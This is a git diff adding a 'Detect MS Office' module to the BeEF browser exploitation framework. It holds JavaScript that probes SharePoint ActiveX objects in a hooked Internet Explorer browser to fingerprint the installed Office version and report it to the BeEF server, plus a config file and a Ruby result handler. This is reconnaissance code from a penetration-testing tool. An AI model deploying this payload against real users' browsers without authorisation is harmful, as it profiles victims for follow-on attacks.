diff --git a/modules/browser/detect_office/command.js b/modules/browser/detect_office/command.js new file mode 100644 index 000000000..c00cbda20 --- /dev/null +++ b/modules/browser/detect_office/command.js @@ -0,0 +1,44 @@ +// +// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + var ma = 1; + var mb = 1; + var mc = 1; + var md = 1; + try { + ma = new ActiveXObject("SharePoint.OpenDocuments.4") + } catch (e) {} + try { + mb = new ActiveXObject("SharePoint.OpenDocuments.3") + } catch (e) {} + try { + mc = new ActiveXObject("SharePoint.OpenDocuments.2") + } catch (e) {} + try { + md = new ActiveXObject("SharePoint.OpenDocuments.1") + } catch (e) {} + var a = typeof ma; + var b = typeof mb; + var c = typeof mc; + var d = typeof md; + var key = "No Office Found"; + if (a == "object" && b == "object" && c == "object" && d == "object") { + key = "Office 2010" + } + if (a == "number" && b == "object" && c == "object" && d == "object") { + key = "Office 2007" + } + if (a == "number" && b == "number" && c == "object" && d == "object") { + key = "Office 2003" + } + if (a == "number" && b == "number" && c == "number" && d == "object") { + key = "Office Xp" + } + beef.net.send("<%= @command_url %>", <%= @command_id %>, "office="+key); + +}); + diff --git a/modules/browser/detect_office/config.yaml b/modules/browser/detect_office/config.yaml new file mode 100644 index 000000000..bd5fa6954 --- /dev/null +++ b/modules/browser/detect_office/config.yaml @@ -0,0 +1,16 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + detect_office: + enable: true + category: "Browser" + name: "Detect MS Office" + description: "This module detect the version of MS Office if installed" + authors: ["nbblrr"] + target: + working: ["IE"] + not_working: ["All"] diff --git a/modules/browser/detect_office/module.rb b/modules/browser/detect_office/module.rb new file mode 100644 index 000000000..eb5d02110 --- /dev/null +++ b/modules/browser/detect_office/module.rb @@ -0,0 +1,14 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Detect_office < BeEF::Core::Command + + def post_execute + content = {} + content['office'] = @datastore['office'] + save content + end + +end